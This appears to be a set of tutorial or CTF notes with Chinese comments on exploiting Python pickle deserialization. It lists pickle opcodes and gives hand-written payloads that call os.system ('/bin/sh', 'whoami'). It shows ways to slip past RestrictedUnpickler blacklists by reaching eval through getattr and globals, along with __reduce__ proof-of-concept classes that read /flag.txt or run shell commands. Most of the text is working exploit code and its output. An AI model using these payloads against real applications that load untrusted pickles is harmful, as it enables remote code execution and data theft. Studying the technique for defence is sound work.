import pickle

class Person():
    def __init__(self):
        self.age=18
        self.name="Pickle"

p=Person()
opcode=pickle.dumps(p)
print(opcode)
#结果如下
#b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x06Pickle\x94ub.'


P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)

#结果如下
#The age is:18 The name is:Pickle

import pickle
class People(object):
    def __init__(self,name = "fake_s0u1"):
        self.name = name

    def say(self):
        print "Hello ! My friends"

a=People()
c=pickle.dumps(a)
d = pickle.loads(c)
d.say()

MARK           = b'('   # push special markobject on stack
STOP           = b'.'   # every pickle ends with STOP
POP            = b'0'   # discard topmost stack item
POP_MARK       = b'1'   # discard stack top through topmost markobject
DUP            = b'2'   # duplicate top stack item
FLOAT          = b'F'   # push float object; decimal string argument
INT            = b'I'   # push integer or bool; decimal string argument
BININT         = b'J'   # push four-byte signed int
BININT1        = b'K'   # push 1-byte unsigned int
LONG           = b'L'   # push long; decimal string argument
BININT2        = b'M'   # push 2-byte unsigned int
NONE           = b'N'   # push None
PERSID         = b'P'   # push persistent object; id is taken from string arg
BINPERSID      = b'Q'   #  "       "         "  ;  "  "   "     "  stack
REDUCE         = b'R'   # apply callable to argtuple, both on stack
STRING         = b'S'   # push string; NL-terminated string argument
BINSTRING      = b'T'   # push string; counted binary string argument
SHORT_BINSTRING= b'U'   #  "     "   ;    "      "       "      " < 256 bytes
UNICODE        = b'V'   # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE     = b'X'   #   "     "       "  ; counted UTF-8 string argument
APPEND         = b'a'   # append stack top to list below it
BUILD          = b'b'   # call __setstate__ or __dict__.update()
GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
DICT           = b'd'   # build a dict from stack items
EMPTY_DICT     = b'}'   # push empty dict
APPENDS        = b'e'   # extend list on stack by topmost stack slice
GET            = b'g'   # push item from memo on stack; index is string arg
BINGET         = b'h'   #   "    "    "    "   "   "  ;   "    " 1-byte arg
INST           = b'i'   # build & push class instance
LONG_BINGET    = b'j'   # push item from memo on stack; index is 4-byte arg
LIST           = b'l'   # build list from topmost stack items
EMPTY_LIST     = b']'   # push empty list
OBJ            = b'o'   # build & push class instance
PUT            = b'p'   # store stack top in memo; index is string arg
BINPUT         = b'q'   #   "     "    "   "   " ;   "    " 1-byte arg
LONG_BINPUT    = b'r'   #   "     "    "   "   " ;   "    " 4-byte arg
SETITEM        = b's'   # add key+value pair to dict
TUPLE          = b't'   # build tuple from topmost stack items
EMPTY_TUPLE    = b')'   # push empty tuple
SETITEMS       = b'u'   # modify dict by adding topmost key+value pairs
BINFLOAT       = b'G'   # push float; arg is 8-byte float encoding

TRUE           = b'I01\n'  # not an opcode; see INT docs in pickletools.py
FALSE          = b'I00\n'  # not an opcode; see INT docs in pickletools.py

# Protocol 2

PROTO          = b'\x80'  # identify pickle protocol
NEWOBJ         = b'\x81'  # build object by applying cls.__new__ to argtuple
EXT1           = b'\x82'  # push object from extension registry; 1-byte index
EXT2           = b'\x83'  # ditto, but 2-byte index
EXT4           = b'\x84'  # ditto, but 4-byte index
TUPLE1         = b'\x85'  # build 1-tuple from stack top
TUPLE2         = b'\x86'  # build 2-tuple from two topmost stack items
TUPLE3         = b'\x87'  # build 3-tuple from three topmost stack items
NEWTRUE        = b'\x88'  # push True
NEWFALSE       = b'\x89'  # push False
LONG1          = b'\x8a'  # push long from < 256 bytes
LONG4          = b'\x8b'  # push really big long

_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]

# Protocol 3 (Python 3.x)

BINBYTES       = b'B'   # push bytes; counted binary string argument
SHORT_BINBYTES = b'C'   #  "     "   ;    "      "       "      " < 256 bytes

# Protocol 4

SHORT_BINUNICODE = b'\x8c'  # push short string; UTF-8 length < 256 bytes
BINUNICODE8      = b'\x8d'  # push very long string
BINBYTES8        = b'\x8e'  # push very long bytes string
EMPTY_SET        = b'\x8f'  # push empty set on the stack
ADDITEMS         = b'\x90'  # modify set by adding topmost stack items
FROZENSET        = b'\x91'  # build frozenset from topmost stack items
NEWOBJ_EX        = b'\x92'  # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL     = b'\x93'  # same as GLOBAL but using names on the stacks
MEMOIZE          = b'\x94'  # store top of the stack in memo
FRAME            = b'\x95'  # indicate the beginning of a new frame

# Protocol 5

BYTEARRAY8       = b'\x96'  # push bytearray
NEXT_BUFFER      = b'\x97'  # push next out-of-band buffer
READONLY_BUFFER  = b'\x98'  # make top of stack readonly

import pickletools

opcode=b'''cos
system
(S'/bin/sh'
tR.'''
pickletools.dis(opcode)
'''
输出
0: c    GLOBAL     'os system'
   11: (    MARK
   12: S        STRING     '/bin/sh'
   23: t        TUPLE      (MARK at 11)
   24: R    REDUCE
   25: .    STOP
highest protocol among opcodes = 0
'''

def load_reduce(self):
        stack = self.stack
        args = stack.pop()
        func = stack[-1]
        stack[-1] = func(*args)

(X\x06\x00\x00\x00whoamiios\nsystem\n.

b"(cos\nsystem\nX\x06\x00\x00\x00whoamio."

c__main__\ntest\n)\x81}X\x0c\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.

import secret

class Target:
    def __init__(self):
        obj = pickle.loads(ser)  # 输入点
        if obj.pwd == secret.pwd:
            print("Hello, admin!")

import pickle
import os
import pickletools

class secret:
    pwd='123'

class Target:
    def __init__(self):
        self.pwd=secret.pwd
test = Target()
serialized = pickletools.optimize(pickle.dumps(test, protocol=0))
print(serialized)

b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVpwd\nV123\nsb.'

b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVpwd\ncsecret\npwd\nsb.'

cposix\nsystem\n(Vwhoami\ntR.

GLOBAL('os', 'system')             =>  cos\nsystem\n
INST('os', 'system', 'ls')         =>  (S'ls'\nios\nsystem\n
OBJ(GLOBAL('os', 'system'), 'ls')  =>  (cos\nsystem\nS'ls'\no

return           =>  .
return var       =>  g_\n.
return 1         =>  I1\n.

#pker_test.py

i = 0
s = 'id'
lst = [i]
tpl = (0,)
dct = {tpl: 0}
system = GLOBAL('os', 'system')
system(s)
return

#命令行下
$ python3 pker.py < pker_tests.py

b"I0\np0\n0S'id'\np1\n0(g0\nlp2\n0(I0\ntp3\n0(g3\nI0\ndp4\n0cos\nsystem\np5\n0g5\n(g1\ntR."

import builtins
import io
import pickle

safe_builtins = {
    'range',
    'complex',
    'set',
    'frozenset',
    'slice',
}

class RestrictedUnpickler(pickle.Unpickler):

    #重写了find_class方法
    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

opcode=b"cos\nsystem\n(S'echo hello world'\ntR."
restricted_loads(opcode)


###结果如下
Traceback (most recent call last):
...
_pickle.UnpicklingError: global 'os.system' is forbidden

if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)

eg.import pickle
import io
import builtins

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

import builtins
print(builtins.globals())
#{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'builtins': <module 'builtins' (built-in)>}

import pickle
import pickletools

opcode = b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR.
'''

pickletools.dis(opcode )
print (pickle.loads(opcode))

import pickle
import pickletools

opcode = b'''cbuiltins
globals
)R.
'''
pickletools.dis(opcode)
print (pickle.loads(opcode))
   0: c    GLOBAL     'builtins globals'
   18: )    EMPTY_TUPLE
   19: R    REDUCE
   20: .    STOP
highest protocol among opcodes = 1
{'__name__': '__main__', '__doc__': None, '__package__': '', '__loader__': None, '__spec__': None, '__file__': 'c:\\Users\\zyc\\Downloads\\main.py', '__cached__': None, '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in'), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'aiter': <built-in function aiter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'anext': <built-in function anext>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': 
True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 
'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'WindowsError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': 
<class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'EncodingWarning': <class 'EncodingWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>,....

import pickle
import pickletools

opcode = b'''cbuiltins
getattr
(builtins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tR.'''
pickletools.dis(opcode)
print(pickle.loads(opcode))
'''
    0: c    GLOBAL     'builtins getattr'
   18: (    MARK
   19: c        GLOBAL     'builtins dict'
   34: S        STRING     'get'
   41: t        TUPLE      (MARK at 18)
   42: R    REDUCE
   43: (    MARK
   44: c        GLOBAL     'builtins globals'
   62: )        EMPTY_TUPLE
   63: R        REDUCE
   64: S        STRING     '__builtins__'
   80: t        TUPLE      (MARK at 43)
   81: R    REDUCE
   82: .    STOP
highest protocol among opcodes = 1
<module 'builtins' (built-in)>
'''

import pickle

opcode4=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR.'''

print(pickle.loads(opcode4))


#<built-in function eval>

import pickle
import io
 import builtins
class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()


opcode=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''

restricted_loads(opcode)
#可以成功执行whoami

c__main__
secret
(V\u006bey  #key
S'asd'
db.

c__main__
secret
(S'\x6bey'  #key
S'asd'
db.

print(next(reversed(dir(sys.modules['secret']))))

(((c__main__
secret
i__builtins__
dir
i__builtins__
reversed
i__builtins__
next
.

import pickle
import io
import builtins

__all__ = ('PickleSerializer', )


class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))


class PickleSerializer():
    def dumps(self, obj):
        return pickle.dumps(obj)

    def loads(self, data):
        try:
            if isinstance(data, str):
                raise TypeError("Can't load pickle from unicode string")
            file = io.BytesIO(data)
            return RestrictedUnpickler(file,
                              encoding='ASCII', errors='strict').load()
        except Exception as e:
            return {}

cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S'builtins'
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("whoami")'
tR.

import requests

url = "http://ip/shop?page="

for i in range (1,200):
    r = requests.get(url+str(i))

    if r.text.find('lv6.png') != -1:
        print(i)
        break

import pickle
import commands
import urllib

class poc(object):
    def __reduce__(self):
        return (commands.getoutput,('ls /',))

a=poc()

print(urllib.quote(pickle.dumps(a)))

import pickle
import urllib

class poc(object):
    def __reduce__(self):
        return (eval, ("open('/flag.txt','r').read()",))

a=poc()

print(urllib.quote(pickle.dumps(a)))